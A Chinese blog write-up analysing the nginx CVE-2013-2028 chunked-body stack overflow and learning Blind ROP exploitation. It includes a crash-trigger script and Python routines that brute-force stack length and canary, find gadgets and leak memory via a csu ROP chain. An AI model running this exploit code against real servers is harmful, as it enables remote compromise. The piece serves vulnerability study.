内容简介:分析 + 运行环境: ubuntu x64 + centos环境搭建:影响版本: nginx 1.3.9 - 1.4.0
分析 + 运行环境: ubuntu x64 + centos
环境搭建: https://github.com/kitctf/nginxpwn
影响版本: nginx 1.3.9 - 1.4.0
主要以此来学习BROP: 可以不需要知道该应用程序的源代码或者任何二进制代码进行攻击,类似 SQL 盲注。
基础铺垫
Nginx是一个轻量级的Web服务器,它还具有反向代理、电子邮件代理等功能,并且占内存小、并发强。
根据各模块功能,可以将它归纳为如下几种:
观察Nginx源码目录以及各自的功能如下:
core: 核心代码,包含一些数据结构 event: 事件驱动模型、定时器相关代码 http: http server相关代码 mail: mail代理服务器相关代码 misc: 辅助代码 os: 解决系统兼容性问题
Nginx中主要是以模块为分类:
1、Handler模块: 处理请求并产生输出
2、Filter模块: 处理Handler模块中的输出
3、Load-balancer模块,负责挑选出负载均衡中的某一台服务器
举例说明: 客户端请求过来,nginx便是由各个Handler模块处理http请求包,然后返回给客户端的时候,便会使用Filter模块对http响应包进行处理,包括其中响应头以及响应内容
一个HTTP请求流量中包含了几个点
1、请求包: 请求行、请求头、包体
2、响应包: 响应头、响应内容
Nginx接收HTTP数据并响应的整个过程如下: (/src/http/ngx_http_request.c)
1、解析请求行: ngx_http_process_request_line -> ngx_http_parse_request_line,将协议版本信息,url,请求方式等信息获取
2、解析请求头: ngx_http_process_request_headers -> ngx_http_parse_header_line
关于 ngx_http_request_t
数据结构,他是一个请求中最常用的结构,包括在 upstream
也是用它来描述的
typedef struct ngx_http_request_s ngx_http_request_t; struct ngx_http_request_s { ... 省略 //ctx是自定义的上下文结构指针数组,若是HTTP框架,则存储所有HTTP模块上下文结构。其他的则是配置文件中的信息 void **ctx; void **main_conf; void **srv_conf; void **loc_conf; // 请求头、响应头 ngx_http_headers_in_t headers_in; ngx_http_headers_out_t headers_out; ngx_http_request_body_t *request_body; // 下面是请求行解析后将会赋值到以下 ngx_uint_t method; ngx_uint_t http_version; ngx_str_t request_line; ngx_str_t uri; ngx_str_t args; ngx_str_t exten; ngx_str_t unparsed_uri; ... 省略 } typedef struct { ngx_list_t headers; ...省略 ngx_str_t server; off_t content_length_n; time_t keep_alive_n; } ngx_http_headers_in_t; typedef struct { ngx_temp_file_t *temp_file; ngx_chain_t *bufs; ngx_buf_t *buf; off_t rest; off_t received; ngx_chain_t *free; ngx_chain_t *busy; ngx_http_chunked_t *chunked; ngx_http_client_body_handler_pt post_handler; } ngx_http_request_body_t; typedef struct ngx_http_chunked_s ngx_http_chunked_t; struct ngx_http_chunked_s { ngx_uint_t state; off_t size; off_t length; };
漏洞分析
1、静态分析
首先从 patch 来看
File: src/http/ngx_http_parse.c
data: ctx->state = state; b->pos = pos; ...省略 + if (ctx->size < 0 || ctx->length < 0) { + goto invalid; + }
往上回溯寻找 goto data
调用的地方
ngx_int_t ngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b,ngx_http_chunked_t *ctx){ ...省略 state = ctx->state; for (pos = b->pos; pos < b->last; pos++) { switch (state) { ...省略 case sw_chunk_data: rc = NGX_OK; goto data; } } }
继续往上回溯寻找 ngx_http_parse_chunked
函数调用处,这里有两处,我以 ngx_http_discard_request_body_filter
作为分析
/src/http/ngx_http_request_body.c
static ngx_int_t ngx_http_discard_request_body_filter(ngx_http_request_t *r, ngx_buf_t *b){ size_t size; ngx_int_t rc; ngx_http_request_body_t *rb; if (r->headers_in.chunked) { rb = r->request_body; ...省略 for ( ;; ) { rc = ngx_http_parse_chunked(r, b, rb->chunked); if (rc == NGX_OK) { /* a chunk has been parsed successfully */ size = b->last - b->pos; if ((off_t) size > rb->chunked->size) { b->pos += rb->chunked->size; rb->chunked->size = 0; } else { rb->chunked->size -= size; b->pos = b->last; } continue; } if (rc == NGX_DONE) { /* a whole response has been parsed successfully */ r->headers_in.content_length_n = 0; break; } if (rc == NGX_AGAIN) { /* set amount of data we want to see next time */ r->headers_in.content_length_n = rb->chunked->length; break; } /* invalid */ ngx_log_error(NGX_LOG_ERR, r->connection->log, 0, "client sent invalid chunked body"); return NGX_HTTP_BAD_REQUEST; } } else { size = b->last - b->pos; if ((off_t) size > r->headers_in.content_length_n) { b->pos += r->headers_in.content_length_n; r->headers_in.content_length_n = 0; } else { b->pos = b->last; r->headers_in.content_length_n -= size; } } return NGX_OK; }
仔细发现这里面循环有一些 rb->chunked->length
、 rb->chunked->size
的操作
再往上回溯便是 ngx_http_read_discarded_request_body
static ngx_int_t ngx_http_read_discarded_request_body(ngx_http_request_t *r){ size_t size; ssize_t n; ngx_int_t rc; ngx_buf_t b; u_char buffer[NGX_HTTP_DISCARD_BUFFER_SIZE]; ...省略 for ( ;; ) { ...省略 size = (size_t) ngx_min(r->headers_in.content_length_n, NGX_HTTP_DISCARD_BUFFER_SIZE); n = r->connection->recv(r->connection, buffer, size); ...省略 rc = ngx_http_discard_request_body_filter(r, &b); } }
在这里面首先 #define NGX_HTTP_DISCARD_BUFFER_SIZE 4096
,存在一个 buffer
变量,其中长度最大为 4096
。
然后使用ngx_min宏: #define ngx_min(val1, val2) ((val1 > val2) ? (val2) : (val1))
,看 headers_in.content_length_n
的大小是多少,如果小于4096的话将会把它的值给size。
接下来就是使用recv接收数据,这里要注意 recv函数
,如果buffer比size小的话,接收过多数据时候会导致栈溢出问题。
当然这里看起来没问题,因为使用了ngx_min做了处理,但是要注意的是 headers_in.content_length_n
类型为off_t,也就是有符号的long型,如果他能够为负数,再通过将它转换为size_t类型,也就是无符号的unsigned int型,最终的数值会变得很大。
回到 ngx_http_discard_request_body_filter
上一个函数看 r->headers_in.chunked
条件中的 NGX_AGAIN
情况
if (rc == NGX_AGAIN) { /* set amount of data we want to see next time */ r->headers_in.content_length_n = rb->chunked->length; break; }
如果NGX_AGAIN的话, r->headers_in.content_length_n
的值将会被第二次的 rb->chunked->length
长度覆盖掉
继续往上找便是 ngx_http_read_discarded_request_body
-> ngx_http_discarded_request_body_handler
-> ngx_http_discard_request_body
回顾上面nginx请求的流程, ngx_http_discard_request_body
便是进行了丢弃http包体处理,它被多个modules进行调用,默认nginx安装后,请求的是一个静态资源,也就是 /src/http/modules/ngx_http_static_module.c
这个模块进行处理
再往上回溯步骤较多,可以通过gdb可以看看这个过程是如何调用到的
2、动态调试
编译安装nginx
./configure --prefix=/opt/nginx/nginx1_3_9 --sbin-path=/opt/nginx/nginx1_3_9/sbin/nginx --conf-path=/opt/nginx/nginx1_3_9/conf/nginx.conf --with-http_stub_status_module --with-http_ssl_module make && make install # 测试配置是否通过 ./nginx -t ./nginx
gdb调试
ps aux | grep nginx # 找到对应pid gdb # 进行调试
attach 14561 # 依附worker process stop b ngx_http_init_connection continue p *(struct ngx_http_request_s*)0x6d2070
回过头来看 ngx_http_discard_request_body_filter
函数,其中有一个条件是 if (r->headers_in.chunked)
static ngx_int_t ngx_http_process_request_header(ngx_http_request_t *r){ ...省略 if (r->headers_in.transfer_encoding) { if (r->headers_in.transfer_encoding->value.len == 7 && ngx_strncasecmp(r->headers_in.transfer_encoding->value.data, (u_char *) "chunked", 7) == 0) { r->headers_in.content_length = NULL; r->headers_in.content_length_n = -1; r->headers_in.chunked = 1; 」
设置头部为 transfer-encoding: chunked
,并且post一些数据才能进入ngx_http_parse_chunked
GET / HTTP/1.1 Host: love.lemon:6969 transfer-encoding: chunked Content-Length: 7 616263
ngx_http_parse_chunked的开始state是sw_chunk_start,然后进入sw_chunk_size,也就是获取post过来的chunked数据,数据是16进制编码
case sw_chunk_size: if (ch >= '0' && ch <= '9') { ctx->size = ctx->size * 16 + (ch - '0'); break; } c = (u_char) (ch | 0x20); if (c >= 'a' && c <= 'f') { ctx->size = ctx->size * 16 + (c - 'a' + 10); break; }
最后 ctx->size
将会把值给 ctx->length
,这里要注意size和length都是off_t类型
case sw_chunk_size: ctx->length = 2 /* LF LF */ + (ctx->size ? ctx->size + 4 /* LF "0" LF LF */ : 0);
这个时候可以返回到漏洞触发点处, r->headers_in.content_length_n
将会等于 rb->chunked->length
,即 headers_in.content_length_n
的长度是被我们所控的,现在就是需要看传入什么值才能够为负数。
raw = '''GET / HTTP/1.1\r\nHost: %s\r\nTransfer-Encoding: chunked\r\nConnection: Keep-Alive\r\n\r\n''' % (host) raw += 'f' * (1024 - len(raw) - 16) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('ip', port)) data1 = raw data1 += "f0000000" data1 += "00000060" + "\r\n" s.send(data1) s.send("B" * 6000) s.close()
这个要注意的是,nginx第一次接受到Http请求的时候,其中会接受1024长度,如果超过了它,便会进入NGX_AGAIN,然后会revc后面的数据。
可以看到传入 f000000000000060
的时候,便可以覆盖了 $rbp
,最终 nginx: worker process
崩溃重启。
这里注意的一点是,在Ubuntu 14.04下测试的时候发现,recv函数原型: recv(r, buf, len, xxx),其中len如果过大,会直接返回0xffffffff,导致buffer没有被传入的数据覆盖。但是在centos下测试ok
Exploit构写 - brop学习
终于到exp构写了,首先查看一下程序的保护机制。
下面将一步步的学习一下brop,wooyun早已有mctrain前辈 分享过原理
brop就是不需要源代码、程序,并且绕过各种保护机制: NX、ASLR、PIE、Canary,有点类似SQL盲注,当然第一步是需要注入漏洞点是在何处。第二步就是,服务器进程在crash之后会重新复活,并且复活的进程不会被re-rand,这样地址随机化并不会改变,nginx符合这样的情况,因为通常情况下nginx是存在一个master和多个worker,worker挂掉后便会重新启动复活。
回顾一下通常情况下的pwn利用,在brop中我们也需要如此的寻找我们需要的值,其步骤如下:
- 判断栈溢出长度
- 获取canaries值
- 寻找gadgets,比如输出函数write、puts等函数,当然还有控制他们的参数值
- exploit
这里要注意的是一个坑,要是想远程打的话,还需要对tcp做处理,不然nginx要接收到溢出字符就得看人品了。为了复现漏洞,仅从本地开始复现
获取栈溢出长度以及canary值
常见的栈布局如下:
1、获取栈溢出长度,可以通过不断的去填充缓冲区,当它破坏canary的时候就会出现crash
def get_stack_len(nginx): result = [] for i in range(150): print i,'th get_stack_len' pad_data = 'c' * 8 * i if nginx.send_data(pad_data) == False: print 'Find It: ', i result.append(i) time.sleep(1) return result
先按8位一组一组的找,找到大概区间,再为了精准找到字节
这里可以发现我们136(17 * 8)位出现了异常,后面则需要继续一位一位的爆破
2、爆破canary值
爆破canary有点区别,它需要一个字节一个字节的爆破,并不是按8个一组直接来,流程图如下:
def get_canary(nginx, stack_len): result = [] for j in range(256): tmp = ['c' * stack_len, p64(0), ] log.info("%dth data find..." % j) tmp.append(p8(j)) pad_data = flat(tmp) if nginx.send_data(pad_data) == True: print 'Find It: ', j result.append(j) break time.sleep(1) return result
寻找gadget
1、stop gadget: 当执行这段代码的时候,不会造成crash,但程序会进入无限循环,这样使得攻击者能够一直保持连接状态。类似sleep,当想寻找其他gadget的时候,它将会给我们一些判断寻找的gadget是否是正确的。
def get_hang_gadget(nginx): begin_addr = TEXT_ADDR while True: print 'Log burst add: ', hex(begin_addr) pad_data = flat(['a' * 120, p64(0), p64(0), p64(begin_addr)]) start = time.time() print nginx.send_data(pad_data) end = time.time() if end - start > 3: print 'Find it: ', hex(begin_addr) break sleep(0.2) begin_addr += 1
得到一个 0x404c02
的hang gadget
2、寻找的gadget当然是需要有用的,比如 pop rdi; ret
,这里就需要使用stop gadget,如果是 pop rdi; ret
的话,它后面ret进入的是stop gadget,而如果是其他的gadget,那么在之前就不能被ret,也就无法进入sleep(stop gadget)
x64下一般是有通用的gadgets的,比如 __libc_csu_init
函数中,通常是 pop_junk_rbx_rbp_r12_r13_r14_r15_ret
,在此gaadgets上还有一个 mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
也就是意味着很多寄存器可以控制,并且可以调用想要的函数
中间填充7个无效地址,用于pop数据,最后加入一个stop gadhet,通过不断爆破地址,如果crash就表明不是,如果stop了则寻找到了。
其中结构图如下:
def get_useful_gadget(nginx, hang_gadget): begin_addr = 0x4AAA00 while True: print 'Log burst add: ', hex(begin_addr) data = 'a' * 120 data += p64(0) + p64(0) data += p64(begin_addr) + p64(0) + p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) data += p64(hang_gadget) start = time.time() print nginx.send_data(data) end = time.time() if end - start > 3: print 'Find it: ', hex(begin_addr) break sleep(0.2) begin_addr += 1
为了节约点时间,将爆破起点调为 0x4AAA00
可以得到 0x4AAA8f
这个地址,跟入看看是什么情况。
往下走的时候,可以看到 0x4AAAa8
处跳转到了 0x4AAAc6
,也就是我们的目的地,对寄存器进行布局的地方。
由于 0x4AAA8f
地址是第一个爆破到的,因为这个是属于Libc函数,它到目的地 0x4AAAc6
的距离是不变的。也就是如果接下来好几个值都可以成功,那么通过 0x4AAA8f + 55 = 0x4AAAc6
。
dump内存 - write、puts
一般可以使用puts、write来读取内存的值
一、puts函数
puts需要一个参数,其中是rdi的值。如果程序没有开启PIE,0x400000则是ELF头部,也就是值为 \x7fELF
二、write
write(int sock,void *buf,int len) 汇编代码: pop %rdi ret pop %rsi ret pop %rdx ret call write ret $rdi -> sock、%rsi -> buf、%rdx -> len
在回到IDA中查看,也可以找到此处(如果不是brop的话,可以找找csu_init函数,然后找到此处地址)
上面获取的 0x4AAAc6
处,表明了可以控制rbx,rbp,r12,r13,r14,r15
0、 0x4AAAB6
出是 mov edi, r13d
,只能控制rdi的低32位
1、 0x4AAAB3
处是 mov rsi, r14
,也就说明 rsi
可控
2、 0x4AAAB0
处是 mov rdx, r15
,也就说明 rdx
可控
看起来也是很麻烦的,因为文件描述符的值是rdi控制的,而且这里是低32位,不过对于write已经足够了。为了增加命中,1、可以同时打开多个连接,2、chain多个rop,每个rop的文件描述符不一样
另外对于文件描述符还有一些特征,1、 linux 默认最多只能打开1024个,2、posix 标准每次申请的文件描述符数值总是当前最小可用数值,可以看到我当前的连接就是找到最小可用的 3
这里结合优化后的csu是不行的,因为没有pop,所以构造不了 pop rdi;ret
, 0x4AAAB6
地方的 call
调用也没法用,因为需要一个got地址,如果是pop就很好处理, pop rdi;ret;
,后面再放一个write的plt地址。
这里为了漏洞测试,暂时用got的write地址继续。
def find_func(nginx, payload, hang_gadget): data = 'a' * 120 data += p64(0) + p64(0) data += payload data += p64(hang_gadget) start = time.time() status = nginx.send_data(data) end = time.time() if end - start > 3: return 0 if status: return 1 else: return -1 def csu(csu_end_addr, rbx, rbp, r12, r13, r14, r15, call_addr): # rdi = edi = r13d # rsi = r14 # rdx = r15 payload = '' payload += p64(csu_end_addr) # ??? add rsp, 38h payload += p64(0) payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) ####### mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] csu_front_addr = csu_end_addr - 0x16 payload += p64(csu_front_addr) payload += p64(call_addr) return payload def find_write_func(nginx, csu_end_addr, hang_gadget): #for i in range(50): begin_addr = TEXT_ADDR begin_addr = 0x404DB8 write_got = 0x6C73A8 #while True: print 'th Log burst add: ', hex(begin_addr) # addr , x, x, write, file_, buf, len payload = csu(csu_end_addr, 0, 1, write_got, 3, 0x400000, 10, begin_addr) if find_func(nginx, payload, hang_gadget) == 0: print 'Find it: ',begin_addr #begin_addr += 1 sleep(0.5)
把elf内容导出来
编译的时候gcc优化了, pop rbx; pop rbp; pop r12
被优化为 mov
形式,如果不优化的话,exp将好写很多,因为 pop
操作是操作寄存器后还有 ret
,栈桢在之前就已经开辟了,这样我们可以通过更变不同的参数来精准猜解这个位置。
Payload1 = 'a'*len + l64(addr-1)+l64(0)+l64(ret) Payload2 = 'a'*len + l64(addr)+l64(0)+l64(ret) Payload3 = 'a'*len + l64(addr+1) +l64(ret)
pop r15;ret
字节码为 41 5f c3
,后两字节码 5f c3
对应的汇编为 pop rdi;ret
,说明了 rdi
可控
另外 5e
也表示着 pop rsi
rdx
也可以通过调用 strcmp
函数,该函数调用会把字符串的长度赋值给 %rdx
,从而达到控制它。当然我觉得最方便的应该还是往上偏移找到 mov rdx, r13
的gadget。
三、寻找strcmp
如何寻找strcmp plt ?
PLT是一个跳转表,大多数的PLT不会因为传进的参数而crash,因为它们很多都是系统调用,都会对参数进行检查,如果有错误会返回EFAULT而已,并不会造成进程crash。
它还有一个特征: 每一个项都是16个字节对齐,其中第0个字节开始的地址指向改项对应函数的fast path,而第6个字节开始的地址指向了该项对应函数的slow path
所以有一段连续的16个字节对齐的地址都不会造成进程crash,而且这些地址加6得到的地址也不会造成进程crash,这也就是进入了PLT中
int strcmp(const char *s1, const char *s2); s1 -> rdi、 s2 -> rsi
可以通过以下的搭配特征来确认一个地址是否是strcmp plt
arg1 | arg2 | result :--: | :--: | :--: readable | 0x0 | crash 0x0 | readable | crash 0x0 | 0x0 | crash readable | readable | nocrash
pwn
前面用csu的时候就差不多是把write地址也可以泄露出来, 0x7f212f4617a0
后面便是dump内存进行pwn
Referer
【技术分享】BROP Attack之Nginx远程代码执行漏洞分析及利用
nginx security advisory (CVE-2013-2028)
以上所述就是小编给大家介绍的《Nginx栈溢出分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- HEVD池溢出分析
- 一个JVM内存溢出问题分析解决(200704)
- WhatsApp缓冲区溢出漏洞分析
- 记一次网页内存溢出分析及解决实践
- Vivotek远程栈溢出漏洞分析与复现
- JVM源码分析之栈溢出完全解读
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。